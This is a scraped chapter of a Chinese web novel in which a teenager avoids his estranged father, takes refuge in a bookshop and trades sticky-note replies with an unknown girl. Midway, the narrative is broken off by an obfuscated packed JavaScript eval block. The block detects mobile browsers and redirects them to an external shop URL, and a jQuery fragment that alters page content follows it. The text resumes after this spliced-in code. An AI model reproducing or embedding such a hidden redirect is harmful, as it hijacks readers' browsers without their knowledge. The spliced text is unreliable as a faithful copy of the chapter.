默认冷灰
24号文字
方正启体

3. 03 便利贴

作者:墨羽扶摇本书字数:K更新时间:
    还不知道待会儿下车后该怎么回家。


    沈方休在心里纠结,不想打扰公务繁忙的妈妈,最后决定索性拿校服外套包裹着书包,一路小跑回去。


    路上给妈妈打的电话一直没通,快到站时才收到短信。


    沈茴说临时要去永宜出差几天,让他在家门口的餐馆解决晚饭。


    这倒不稀奇,这几年她公司业务扩展,往返永宜谈合作是常事,沈方休早已习惯一个人吃饭。或许是因为去得频繁,家门口那家餐厅的经理都已经认得他了。


    不过沈方休最终没去成餐馆。


    下车后一路跑回小区,衣服早已湿透,湿布料贴着皮肤,又冷又重。他站在单元门口甩了甩发梢的水,决定先上楼洗个热水澡。


    他按下密码,推开门,却没能如计划中那样径直走向浴室。


    客厅的灯光亮着。


    沙发上坐着一个人。


    一个本不该出现在这里的人。


    沈方休皱着眉,冷面对着那个男人。


    理论上来说,高百川与沈方休有着不可斩断的血缘关系,这是沈茴一直同他强调的。


    他幼时并不叫沈方休,而是高方休。


    这名字是外公给取的,寓意为止于至善,安于所归。这些年,他一直将这个名字践行得很好。


    当年,沈方休不明白父母之间究竟发生了什么,只记得无休止的争吵,和母亲深夜压抑的啜泣。


    直到小学某天,他无意间从抽屉深处翻出一本墨绿色的小册子。上面三个字,即便才上一年级,他也认得。


    离婚证。


    离婚在一个孩子眼里算是桩大事,不亚于天塌了,仿佛明天睁开眼就会被全世界抛弃。


    沈方休还是个小豆丁的时候知道了这件事,不知所措,只能一个劲地哭,哭到沈茴不得不请假在家陪他。


    但年纪稍长些,他见到的世界愈发广阔,认知也有了改观,心里那杆秤也渐渐有了自己的准星。


    当他终于看清高百川究竟是怎样一个人后,便主动拉上沈茴的手,去派出所把姓改了。


    这一改,就是十多年。


    从前高百川天南海北地跑,几乎想不起自己还有这么个儿子,自然也不知道改姓这回事。


    直到去年,沈方休中考拿了全市第一,名字印在报纸上。这位远在千里之外的“父亲”不知怎的得了消息,勃然大怒,找上门来。


    沈茴懒得与他纠缠,却也没法拦着一个父亲要见儿子。这摊子事,便又落回了沈方休自己肩上。


    这是近十年来,沈方休第四次见到这个男人。


    也是自中考那个名字登报的夏天之后,他第四次面对这张写满理所当然的脸。


    但一个小孩,若是在少不更事时便鲜少见到自己血缘上的父亲,起初或许会难过,随时间推移,那份模糊的情感,早已被成长中的认知变化冲刷得所剩无几。


    如今父子重逢,除了生疏,便只剩尴尬。


    于此刻的沈方休而言,那尴尬之下,翻涌着更切实的东西。


    被侵入领地的不悦。


    前几次见面,好歹还在外头的茶馆饭店,隔着一张桌子的距离。


    这回,高百川显然是直接问沈茴要来了密码,就这么堂而皇之地登堂入室。


    他歪倒在沈茴精心挑选的真皮沙发上,一双鞋面有些开胶的脚,大咧咧踩着前方的实木茶几,鞋底湿泥在桌面印出几块污迹。


    “回来了?”


    高百川听见动静,从手机屏幕上抬起眼,脸上迅速堆起笑:“饿不饿?想吃什么跟爸说,爸带你出去吃。”


    沈方休知道,他只是这样说说。


    这个十多年来没往家里拿过一分钱、反倒把祖上那点家底慢慢掏空的男人,舍不得真带他去什么像样的馆子。


    实力虽然不济,但在儿子面前,大款是一定要充的。


    他没应声,甚至没往沙发那边多看。只将湿透的书包放在玄关的矮柜上,背对客厅,开始拉外套拉链。


    “跟你说话呢,儿子。”高百川坐直了些,嗓子拔高,“爸专门回来看你,你咋也不叫人?”


    沈方休脱下湿外套,搭在手臂上,这才转过身。


    高百川见他终于转过来,脸上又挂回笑,上下打量他:“瘦了。你看你瘦的,你妈平时是不是又不给你好好做饭?我就知道,她那个工作,一天到晚往外跑,哪顾得上你。”


    沈方休没接茬,“淋湿了,我先换衣服。”


    “哎——”高百川趿拉着鞋快步走过来,“别急着走啊,爸话还没说完呢。你妈最近怎么样?她那公司还开不开了?我看她那样子也撑不久,女人家做什么生意……”


    他伸手,想拍沈方休的肩。


    沈方休侧身避开。


    手掌落空,高百川脸上僵了僵,随即干笑:“咋,还跟爸生气呢?爸以前是没怎么回来。那不是忙吗,外面多少事等着我。”


    他顿了顿,像是在等沈方休点头。没等到,又自己接下去:


    “咱们是亲父子,血浓于水,到啥时候都是一家人,对不对?”


    “不。”沈方休打断他。


    高百川看了他一眼。那一眼里,讨好的笑终于褪了些,露出底下那层更惯常的东西。


    “是不是你妈又跟你说什么了?”


    他冷哼一声。


    “你别听她的。她一个女人懂什么?这几年靠着你外公的关系人脉在外头逍遥自在,真以为自己有远见了……”


    沈方休目光平静地滑过那张衰老迹象明显的脸。


    这些年,高百川在外显然把自己折腾得够呛。沈方休也清楚,这个年近半百却一事无成的男人,如今希望在自己儿子身上找回一点成就感。


    可惜他并不想配合。他不想同这个人扯上任何关系。


    他只觉得疲惫,纵使胸中有万千种言语替妈妈反击,但此刻,他连打断对方都觉得费力。


    跟认知不同的人,是无法讲道理的。


    沈方休径直走回房间,随意换上一身干爽的衣服,从柜子里取了把长柄伞,转身就又出了门。


    在高百川能够反应过来之前。


    他以最快的速度带上家门,按下电梯。


    在金属门合拢的缝隙里,最后瞥见的是男人有些错愕地开门追来的身影。


    电梯下行,数字跳动,他快步走出单元楼,重新汇入傍晚潮湿的街道,走向来时那个公交站。


    长到这么大,沈方休从未做过任何可以被归为“叛逆”的事。


    今天,是他平生头一遭离家出走。


    与其说离家出走,倒不如说是不愿同那个男人待在一片屋檐下,被逼到不得不离开。


    沈方休的离家出走,到底没能走出一个学霸的恢弘架势。


    出门太急,手机落在了书桌上。兜里只剩几张零散纸币,和一张公交卡。惠南市里任何一家像样的酒店或旅馆,他都住不起。


    但现在回家是不可能的。


    最后,沈方休转了一圈,又回到学校。


    准确说,是学校后门那家书屋。


    他这趟出走实在失策又失策。


    没穿校服。


    学校保安大爷是出了名的铁面无私,不认什么在光荣榜上挂了快一年的年级第一,任凭他怎么说,就是不放行。


    和保安大爷费了好一番口舌后,他最终认命般,推开了这家书屋的玻璃门。


    门上的风铃“叮铃”一响。


    沈方休站在吧台前,仰头将那面手写的饮品单仔细看了好一会儿,最后只要了一杯热牛奶。


    菜单旁还列着几样精巧的小糕点,虽不能当正餐,垫垫肚子总是够的。但他摸了摸裤袋里所剩无几的纸钞,终究没有开口。


    书屋老板是个气质随性的女人,目光掠过少年身上那件黑色外套的logo,又落在他干净清朗的脸上,只当是哪家小少爷一时兴起,来这儿寻个清净。


    见他神色坦然自若,更没将“离家出走”、“身无分文”这类窘境与他联系到一处。


    她将一杯热饮轻轻放在他选定的桌边,便转身回了后面的工作间。


    雨后空气微凉,沈方休坐在靠窗的位置。


    他随手从书架上抽了本书,书名倒潇洒,《闲情偶寄》,听着仿佛能解人胸中块垒。


    可惜对一个理科生而言,里头文言的表述实在有些隔阂,翻了几页便觉无趣,又换了本杂志。


    这杂志的封面标题倒是抓人眼球:“硕士海归辞高薪,回乡陪父卖青团”。


    这般噱头十足的叙述,叫人即使不以为然,也忍不住想看看究竟。


    沈方休读完正文,明白了大概。


    小伙硕士毕业后,担任某上市企业海外技术部经理,虽然在海外工作,但待遇优厚。


    然而母亲去世的消息给他猛然一击,为了照顾好父亲,也为了把母亲做青团的技艺传承下去,他打定主意要回老家陪父亲卖青团。


    此举感动了很多人,因此杂志将这则故事收录进来。故事末尾,还列着几条网友评论,多是赞许与感动,认为“亲情无价”、“是金子在哪都能发光”。


    沈方休看完,心里却没什么波澜。


    他本就不是共情能力多强的人,只想起此刻或许还躺在他家沙发上刷手机的男人。


    最后,他只伸手从桌边的便签本上撕下一张。这是店主为客人备下,以供随意涂写的。


    在上面流利地写下一行字。


    “是金子在哪里都可以干一番事业?”


    只是随手写的一句牢骚,并未发表任何己见。他随手将便签夹在书页中,转头望向窗外。


    几番折腾下来,天色已然沉透。


    天空被分作两层,上层是端庄的绛紫,下层沉淀着水墨般的玄青,分界处氤氲着朦胧的霞,仿佛有谁用湿笔将颜料轻轻化开。


    沈方休遥望这片天色,慢慢啜饮那杯牛奶。


    困意不知不觉袭来,没多久,他便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586096|205269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    枕着手臂沉入浅眠。


    半梦半醒间,似乎又听见雨声,滴滴答答,真实得仿佛有冰凉的湿意沾在脸颊。


    不知过了多久,意识在一片温吞的昏暗中缓慢上浮。


    他睡眼惺忪,还未完全清醒,先听见不远处传来模糊的对话声。


    “我也不清楚呀,他来时看着挺精神的,谁知这一睡就是五个钟头。我这都快打烊了……不知道的,还以为我这热牛奶里下了蒙汗药呢。”是老板带笑的声音,有些无奈。


    “五个小时……他吃过东西吗?”另一道声音响起,清朗悦耳,像雨水敲在玻璃上。


    “那倒没见,只要了那杯牛奶。”


    “那麻烦您,给他煮碗面吧。”那道声音顿了顿,又说,“记我账上。”


    沈方休微微一动,睫毛颤了颤,缓缓抬起了头。


    声音的主人已不在吧台边。


    只有道清瘦身影,撑着一柄小红伞,正从窗外湿漉漉的夜色里不紧不慢地走过。


    执伞人的面容隐在伞盖下,只露出一截乌黑细长的发尾,松松地编作两条麻花辫,垂在瓷白的颈侧。辫梢随着不紧不慢的步子,在夜色里一晃,一晃。


    那身影并未留意窗内怔然的目光,只径直走入巷子深处,被渐浓的夜色吞没。


    沈方休仍神色恍惚,直到一碗热气腾腾的面被轻轻放在他面前。


    汤色清亮,浮着几片红艳艳的番茄和薄薄的火腿,最顶上撒了一小撮翠绿的葱花,鲜香的热气直扑到脸上。


    “睡久了该饿了吧?吃点东西。”老板带着善意的揶揄在一旁响起。


    见他抬眼看来,她笑了笑,指了指他衣领处几块颜色更深的水渍。


    “刚才有个女孩打这儿出去,伞上的水珠不小心甩到你身上了。这碗面,算她给你赔个不是。”


    沈方休这才低头。


    黑色外套的肩头和领口,果然洇着几小片不规则的深痕,湿意正透过布料丝丝缕缕地渗进来。


    原来是这样。


    刚才竟天真以为,是什么善良的仙女下凡,来做好人好事。


    沈方休对老板点头道谢,也在心里默默谢过了那位不留名的肇事者。


    他从小就不怎么挑食,何况老板的手艺确实不错。汤面清爽,滋味却醇厚,余韵绵长。


    一边吃着面,一边随手又翻开了先前那本杂志。


    这一翻,目光便停住了。


    手不由自主地伸向书页间。


    那里,在他原本夹着淡黄便签的旁边,多了一张新的。


    是张橙黄色的便签。


    正中央工工整整地写着一串数字,底下附了一行小字:“同学,我不小心弄湿了你的衣服,很抱歉。这是我的电话,如果你很介意,可以联系我赔偿。”


    沈方休看着,轻轻牵了下嘴角。


    这位留下电话的同学大概不知道,只是几滴无心溅上的水渍,在当事人察觉之前悄悄走掉,本是无人会追究的。他生活中见过太多这样的不了了之。


    但现在,他要感谢这位过分认真的同学。她的“多此一举”,让他此刻不必空着肚子。


    赔偿已经以一碗热汤面的形式收到,他似乎没有再特意拨去电话的理由。可鬼使神差地,他还是将那张纸片对折,然后仔细收进了外套内侧的口袋。


    指尖触到书页,又顿了顿。他忽然意识到,那本杂志里,似乎还不止这一处惊喜。


    他将书又翻回夹着便签的那一页。


    那张淡黄便签的背面多了一长段似曾相识的字迹。


    “但人不是金子。人生来禀赋各异,让敏于声的贝多芬去画莫奈的光影,多少有些赶鸭子上架的野蛮。”


    “所以若非情非得已,最好不要轻信‘是人才到哪里都能发光’这样的话。照这种说法,人才类似于神佛,法术无边,岂止是孙悟空七十二般变化,简直就是点石成金,肉骨生死,化腐朽为神奇。这个时代很有意思,许多人一方面号称是无神论,一方面却以神的标准去要求人。”


    “橘生淮南则为橘,生于淮北则为枳。人才若要成材,离不开适宜的土壤、恰当的时机,与成全他的风。”


    字迹清秀舒展,一行行铺满纸背,俨然是对他先前那句随性牢骚的回应。虽谈不上多精深的见解,却也清晰在理,尤其末尾几句,竟与他心中未明说的念头不谋而合。


    那人看上去温柔乖顺,落笔却自有静水流深般的棱角。


    沈方休看着,将这张便签也从书中取出,对折后收进了口袋。


    一晃三年过去,那晚最后究竟如何收场,记忆已有些模糊了。只依稀记得,似乎是去附近居民区打完麻将、正准备回家的教导主任发现了他,将他捡回去收留了一夜。


    可那人留在便签背面的字句,他却记得清晰,如临昨日。


    只可惜,记得再牢也没什么用。


    就凭前不久程未雨看他时那陌生而平静的眼神,对方大抵早已不记得,自己曾经施舍过什么人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)